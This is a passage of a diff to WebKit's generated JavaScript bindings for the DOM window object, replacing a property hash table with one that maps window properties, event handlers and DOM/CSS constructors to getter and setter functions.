-    { "HTMLBRElement", DontDelete, (intptr_t)jsDOMWindowHTMLBRElementConstructor, (intptr_t)setJSDOMWindowHTMLBRElementConstructor },
-    { "HTMLBaseElement", DontDelete, (intptr_t)jsDOMWindowHTMLBaseElementConstructor, (intptr_t)setJSDOMWindowHTMLBaseElementConstructor },
-    { "HTMLBaseFontElement", DontDelete, (intptr_t)jsDOMWindowHTMLBaseFontElementConstructor, (intptr_t)setJSDOMWindowHTMLBaseFontElementConstructor },
-    { "HTMLBlockquoteElement", DontDelete, (intptr_t)jsDOMWindowHTMLBlockquoteElementConstructor, (intptr_t)setJSDOMWindowHTMLBlockquoteElementConstructor },
-    { "HTMLBodyElement", DontDelete, (intptr_t)jsDOMWindowHTMLBodyElementConstructor, (intptr_t)setJSDOMWindowHTMLBodyElementConstructor },
-    { "HTMLButtonElement", DontDelete, (intptr_t)jsDOMWindowHTMLButtonElementConstructor, (intptr_t)setJSDOMWindowHTMLButtonElementConstructor },
-    { "HTMLCanvasElement", DontDelete, (intptr_t)jsDOMWindowHTMLCanvasElementConstructor, (intptr_t)setJSDOMWindowHTMLCanvasElementConstructor },
+static const HashTableValue JSDOMWindowTableValues[409] =
+{
+    { "screen", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowScreen), (intptr_t)0 },
+    { "history", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHistory), (intptr_t)0 },
+    { "locationbar", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowLocationbar), (intptr_t)setJSDOMWindowLocationbar },
+    { "menubar", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowMenubar), (intptr_t)setJSDOMWindowMenubar },
+    { "personalbar", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowPersonalbar), (intptr_t)setJSDOMWindowPersonalbar },
+    { "scrollbars", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowScrollbars), (intptr_t)setJSDOMWindowScrollbars },
+    { "statusbar", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowStatusbar), (intptr_t)setJSDOMWindowStatusbar },
+    { "toolbar", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowToolbar), (intptr_t)setJSDOMWindowToolbar },
+    { "navigator", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowNavigator), (intptr_t)setJSDOMWindowNavigator },
+    { "clientInformation", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowClientInformation), (intptr_t)setJSDOMWindowClientInformation },
+    { "location", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowLocation), (intptr_t)setJSDOMWindowLocation },
+    { "event", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowEvent), (intptr_t)setJSDOMWindowEvent },
+    { "crypto", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCrypto), (intptr_t)0 },
+    { "frameElement", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowFrameElement), (intptr_t)0 },
+    { "offscreenBuffering", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOffscreenBuffering), (intptr_t)setJSDOMWindowOffscreenBuffering },
+    { "outerHeight", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOuterHeight), (intptr_t)setJSDOMWindowOuterHeight },
+    { "outerWidth", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOuterWidth), (intptr_t)setJSDOMWindowOuterWidth },
+    { "innerHeight", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowInnerHeight), (intptr_t)setJSDOMWindowInnerHeight },
+    { "innerWidth", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowInnerWidth), (intptr_t)setJSDOMWindowInnerWidth },
+    { "screenX", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowScreenX), (intptr_t)setJSDOMWindowScreenX },
+    { "screenY", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowScreenY), (intptr_t)setJSDOMWindowScreenY },
+    { "screenLeft", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowScreenLeft), (intptr_t)setJSDOMWindowScreenLeft },
+    { "screenTop", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowScreenTop), (intptr_t)setJSDOMWindowScreenTop },
+    { "scrollX", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowScrollX), (intptr_t)setJSDOMWindowScrollX },
+    { "scrollY", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowScrollY), (intptr_t)setJSDOMWindowScrollY },
+    { "pageXOffset", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowPageXOffset), (intptr_t)0 },
+    { "pageYOffset", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowPageYOffset), (intptr_t)0 },
+    { "closed", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowClosed), (intptr_t)0 },
+    { "length", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowLength), (intptr_t)setJSDOMWindowLength },
+    { "name", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowName), (intptr_t)setJSDOMWindowName },
+    { "status", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowStatus), (intptr_t)setJSDOMWindowStatus },
+    { "defaultStatus", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowDefaultStatus), (intptr_t)setJSDOMWindowDefaultStatus },
+    { "defaultstatus", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowDefaultstatus), (intptr_t)setJSDOMWindowDefaultstatus },
+    { "self", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSelf), (intptr_t)setJSDOMWindowSelf },
+    { "window", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWindow), (intptr_t)0 },
+    { "frames", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowFrames), (intptr_t)setJSDOMWindowFrames },
+    { "opener", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOpener), (intptr_t)setJSDOMWindowOpener },
+    { "parent", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowParent), (intptr_t)setJSDOMWindowParent },
+    { "top", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowTop), (intptr_t)setJSDOMWindowTop },
+    { "document", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowDocument), (intptr_t)0 },
+    { "media", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowMedia), (intptr_t)0 },
+    { "devicePixelRatio", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowDevicePixelRatio), (intptr_t)setJSDOMWindowDevicePixelRatio },
+    { "applicationCache", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowApplicationCache), (intptr_t)0 },
+    { "sessionStorage", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSessionStorage), (intptr_t)0 },
+    { "localStorage", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowLocalStorage), (intptr_t)0 },
+    { "console", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowConsole), (intptr_t)setJSDOMWindowConsole },
+    { "onabort", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnabort), (intptr_t)setJSDOMWindowOnabort },
+    { "onbeforeunload", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnbeforeunload), (intptr_t)setJSDOMWindowOnbeforeunload },
+    { "onblur", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnblur), (intptr_t)setJSDOMWindowOnblur },
+    { "oncanplay", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOncanplay), (intptr_t)setJSDOMWindowOncanplay },
+    { "oncanplaythrough", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOncanplaythrough), (intptr_t)setJSDOMWindowOncanplaythrough },
+    { "onchange", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnchange), (intptr_t)setJSDOMWindowOnchange },
+    { "onclick", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnclick), (intptr_t)setJSDOMWindowOnclick },
+    { "oncontextmenu", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOncontextmenu), (intptr_t)setJSDOMWindowOncontextmenu },
+    { "ondblclick", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOndblclick), (intptr_t)setJSDOMWindowOndblclick },
+    { "ondrag", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOndrag), (intptr_t)setJSDOMWindowOndrag },
+    { "ondragend", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOndragend), (intptr_t)setJSDOMWindowOndragend },
+    { "ondragenter", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOndragenter), (intptr_t)setJSDOMWindowOndragenter },
+    { "ondragleave", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOndragleave), (intptr_t)setJSDOMWindowOndragleave },
+    { "ondragover", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOndragover), (intptr_t)setJSDOMWindowOndragover },
+    { "ondragstart", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOndragstart), (intptr_t)setJSDOMWindowOndragstart },
+    { "ondrop", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOndrop), (intptr_t)setJSDOMWindowOndrop },
+    { "ondurationchange", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOndurationchange), (intptr_t)setJSDOMWindowOndurationchange },
+    { "onemptied", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnemptied), (intptr_t)setJSDOMWindowOnemptied },
+    { "onended", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnended), (intptr_t)setJSDOMWindowOnended },
+    { "onerror", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnerror), (intptr_t)setJSDOMWindowOnerror },
+    { "onfocus", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnfocus), (intptr_t)setJSDOMWindowOnfocus },
+    { "onhashchange", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnhashchange), (intptr_t)setJSDOMWindowOnhashchange },
+    { "oninput", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOninput), (intptr_t)setJSDOMWindowOninput },
+    { "oninvalid", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOninvalid), (intptr_t)setJSDOMWindowOninvalid },
+    { "onkeydown", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnkeydown), (intptr_t)setJSDOMWindowOnkeydown },
+    { "onkeypress", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnkeypress), (intptr_t)setJSDOMWindowOnkeypress },
+    { "onkeyup", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnkeyup), (intptr_t)setJSDOMWindowOnkeyup },
+    { "onload", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnload), (intptr_t)setJSDOMWindowOnload },
+    { "onloadeddata", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnloadeddata), (intptr_t)setJSDOMWindowOnloadeddata },
+    { "onloadedmetadata", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnloadedmetadata), (intptr_t)setJSDOMWindowOnloadedmetadata },
+    { "onloadstart", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnloadstart), (intptr_t)setJSDOMWindowOnloadstart },
+    { "onmessage", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnmessage), (intptr_t)setJSDOMWindowOnmessage },
+    { "onmousedown", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnmousedown), (intptr_t)setJSDOMWindowOnmousedown },
+    { "onmousemove", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnmousemove), (intptr_t)setJSDOMWindowOnmousemove },
+    { "onmouseout", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnmouseout), (intptr_t)setJSDOMWindowOnmouseout },
+    { "onmouseover", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnmouseover), (intptr_t)setJSDOMWindowOnmouseover },
+    { "onmouseup", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnmouseup), (intptr_t)setJSDOMWindowOnmouseup },
+    { "onmousewheel", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnmousewheel), (intptr_t)setJSDOMWindowOnmousewheel },
+    { "onoffline", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnoffline), (intptr_t)setJSDOMWindowOnoffline },
+    { "ononline", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnonline), (intptr_t)setJSDOMWindowOnonline },
+    { "onpagehide", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnpagehide), (intptr_t)setJSDOMWindowOnpagehide },
+    { "onpageshow", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnpageshow), (intptr_t)setJSDOMWindowOnpageshow },
+    { "onpause", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnpause), (intptr_t)setJSDOMWindowOnpause },
+    { "onplay", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnplay), (intptr_t)setJSDOMWindowOnplay },
+    { "onplaying", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnplaying), (intptr_t)setJSDOMWindowOnplaying },
+    { "onpopstate", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnpopstate), (intptr_t)setJSDOMWindowOnpopstate },
+    { "onprogress", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnprogress), (intptr_t)setJSDOMWindowOnprogress },
+    { "onratechange", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnratechange), (intptr_t)setJSDOMWindowOnratechange },
+    { "onresize", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnresize), (intptr_t)setJSDOMWindowOnresize },
+    { "onscroll", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnscroll), (intptr_t)setJSDOMWindowOnscroll },
+    { "onseeked", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnseeked), (intptr_t)setJSDOMWindowOnseeked },
+    { "onseeking", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnseeking), (intptr_t)setJSDOMWindowOnseeking },
+    { "onselect", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnselect), (intptr_t)setJSDOMWindowOnselect },
+    { "onstalled", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnstalled), (intptr_t)setJSDOMWindowOnstalled },
+    { "onstorage", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnstorage), (intptr_t)setJSDOMWindowOnstorage },
+    { "onsubmit", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnsubmit), (intptr_t)setJSDOMWindowOnsubmit },
+    { "onsuspend", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnsuspend), (intptr_t)setJSDOMWindowOnsuspend },
+    { "ontimeupdate", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOntimeupdate), (intptr_t)setJSDOMWindowOntimeupdate },
+    { "onunload", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnunload), (intptr_t)setJSDOMWindowOnunload },
+    { "onvolumechange", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnvolumechange), (intptr_t)setJSDOMWindowOnvolumechange },
+    { "onwaiting", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnwaiting), (intptr_t)setJSDOMWindowOnwaiting },
+    { "onreset", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnreset), (intptr_t)setJSDOMWindowOnreset },
+    { "onsearch", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnsearch), (intptr_t)setJSDOMWindowOnsearch },
+    { "onwebkitanimationend", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnwebkitanimationend), (intptr_t)setJSDOMWindowOnwebkitanimationend },
+    { "onwebkitanimationiteration", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnwebkitanimationiteration), (intptr_t)setJSDOMWindowOnwebkitanimationiteration },
+    { "onwebkitanimationstart", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnwebkitanimationstart), (intptr_t)setJSDOMWindowOnwebkitanimationstart },
+    { "onwebkittransitionend", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOnwebkittransitionend), (intptr_t)setJSDOMWindowOnwebkittransitionend },
+#if ENABLE(TOUCH_EVENTS)
+    { "ontouchstart", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOntouchstart), (intptr_t)setJSDOMWindowOntouchstart },
+#endif
+#if ENABLE(TOUCH_EVENTS)
+    { "ontouchmove", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOntouchmove), (intptr_t)setJSDOMWindowOntouchmove },
+#endif
+#if ENABLE(TOUCH_EVENTS)
+    { "ontouchend", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOntouchend), (intptr_t)setJSDOMWindowOntouchend },
+#endif
+#if ENABLE(TOUCH_EVENTS)
+    { "ontouchcancel", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOntouchcancel), (intptr_t)setJSDOMWindowOntouchcancel },
+#endif
+    { "StyleSheet", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowStyleSheetConstructor), (intptr_t)setJSDOMWindowStyleSheetConstructor },
+    { "CSSStyleSheet", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCSSStyleSheetConstructor), (intptr_t)setJSDOMWindowCSSStyleSheetConstructor },
+    { "CSSValue", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCSSValueConstructor), (intptr_t)setJSDOMWindowCSSValueConstructor },
+    { "CSSPrimitiveValue", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCSSPrimitiveValueConstructor), (intptr_t)setJSDOMWindowCSSPrimitiveValueConstructor },
+    { "CSSValueList", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCSSValueListConstructor), (intptr_t)setJSDOMWindowCSSValueListConstructor },
+    { "WebKitCSSTransformValue", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWebKitCSSTransformValueConstructor), (intptr_t)setJSDOMWindowWebKitCSSTransformValueConstructor },
+    { "CSSRule", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCSSRuleConstructor), (intptr_t)setJSDOMWindowCSSRuleConstructor },
+    { "CSSCharsetRule", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCSSCharsetRuleConstructor), (intptr_t)setJSDOMWindowCSSCharsetRuleConstructor },
+    { "CSSFontFaceRule", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCSSFontFaceRuleConstructor), (intptr_t)setJSDOMWindowCSSFontFaceRuleConstructor },
+    { "CSSImportRule", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCSSImportRuleConstructor), (intptr_t)setJSDOMWindowCSSImportRuleConstructor },
+    { "CSSMediaRule", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCSSMediaRuleConstructor), (intptr_t)setJSDOMWindowCSSMediaRuleConstructor },
+    { "CSSPageRule", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCSSPageRuleConstructor), (intptr_t)setJSDOMWindowCSSPageRuleConstructor },
+    { "CSSStyleRule", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCSSStyleRuleConstructor), (intptr_t)setJSDOMWindowCSSStyleRuleConstructor },
+    { "CSSVariablesRule", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCSSVariablesRuleConstructor), (intptr_t)setJSDOMWindowCSSVariablesRuleConstructor },
+    { "CSSVariablesDeclaration", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCSSVariablesDeclarationConstructor), (intptr_t)setJSDOMWindowCSSVariablesDeclarationConstructor },
+    { "CSSStyleDeclaration", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCSSStyleDeclarationConstructor), (intptr_t)setJSDOMWindowCSSStyleDeclarationConstructor },
+    { "MediaList", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowMediaListConstructor), (intptr_t)setJSDOMWindowMediaListConstructor },
+    { "Counter", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCounterConstructor), (intptr_t)setJSDOMWindowCounterConstructor },
+    { "CSSRuleList", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCSSRuleListConstructor), (intptr_t)setJSDOMWindowCSSRuleListConstructor },
+    { "Rect", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowRectConstructor), (intptr_t)setJSDOMWindowRectConstructor },
+    { "RGBColor", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowRGBColorConstructor), (intptr_t)setJSDOMWindowRGBColorConstructor },
+    { "StyleSheetList", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowStyleSheetListConstructor), (intptr_t)setJSDOMWindowStyleSheetListConstructor },
+    { "DOMException", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowDOMExceptionConstructor), (intptr_t)setJSDOMWindowDOMExceptionConstructor },
+    { "DOMImplementation", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowDOMImplementationConstructor), (intptr_t)setJSDOMWindowDOMImplementationConstructor },
+    { "DocumentFragment", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowDocumentFragmentConstructor), (intptr_t)setJSDOMWindowDocumentFragmentConstructor },
+    { "Document", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowDocumentConstructor), (intptr_t)setJSDOMWindowDocumentConstructor },
+    { "Node", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowNodeConstructor), (intptr_t)setJSDOMWindowNodeConstructor },
+    { "NodeList", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowNodeListConstructor), (intptr_t)setJSDOMWindowNodeListConstructor },
+    { "NamedNodeMap", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowNamedNodeMapConstructor), (intptr_t)setJSDOMWindowNamedNodeMapConstructor },
+    { "CharacterData", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCharacterDataConstructor), (intptr_t)setJSDOMWindowCharacterDataConstructor },
+    { "Attr", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowAttrConstructor), (intptr_t)setJSDOMWindowAttrConstructor },
+    { "Element", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowElementConstructor), (intptr_t)setJSDOMWindowElementConstructor },
+    { "Text", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowTextConstructor), (intptr_t)setJSDOMWindowTextConstructor },
+    { "Comment", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCommentConstructor), (intptr_t)setJSDOMWindowCommentConstructor },
+    { "CDATASection", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCDATASectionConstructor), (intptr_t)setJSDOMWindowCDATASectionConstructor },
+    { "DocumentType", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowDocumentTypeConstructor), (intptr_t)setJSDOMWindowDocumentTypeConstructor },
+    { "Notation", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowNotationConstructor), (intptr_t)setJSDOMWindowNotationConstructor },
+    { "Entity", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowEntityConstructor), (intptr_t)setJSDOMWindowEntityConstructor },
+    { "EntityReference", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowEntityReferenceConstructor), (intptr_t)setJSDOMWindowEntityReferenceConstructor },
+    { "ProcessingInstruction", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowProcessingInstructionConstructor), (intptr_t)setJSDOMWindowProcessingInstructionConstructor },
+    { "HTMLDocument", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLDocumentConstructor), (intptr_t)setJSDOMWindowHTMLDocumentConstructor },
+    { "HTMLElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLElementConstructor), (intptr_t)setJSDOMWindowHTMLElementConstructor },
+    { "HTMLAnchorElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLAnchorElementConstructor), (intptr_t)setJSDOMWindowHTMLAnchorElementConstructor },
+    { "HTMLAppletElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLAppletElementConstructor), (intptr_t)setJSDOMWindowHTMLAppletElementConstructor },
+    { "HTMLAreaElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLAreaElementConstructor), (intptr_t)setJSDOMWindowHTMLAreaElementConstructor },
+    { "HTMLBRElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLBRElementConstructor), (intptr_t)setJSDOMWindowHTMLBRElementConstructor },
+    { "HTMLBaseElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLBaseElementConstructor), (intptr_t)setJSDOMWindowHTMLBaseElementConstructor },
+    { "HTMLBaseFontElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLBaseFontElementConstructor), (intptr_t)setJSDOMWindowHTMLBaseFontElementConstructor },
+    { "HTMLBlockquoteElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLBlockquoteElementConstructor), (intptr_t)setJSDOMWindowHTMLBlockquoteElementConstructor },
+    { "HTMLBodyElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLBodyElementConstructor), (intptr_t)setJSDOMWindowHTMLBodyElementConstructor },
+    { "HTMLButtonElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLButtonElementConstructor), (intptr_t)setJSDOMWindowHTMLButtonElementConstructor },
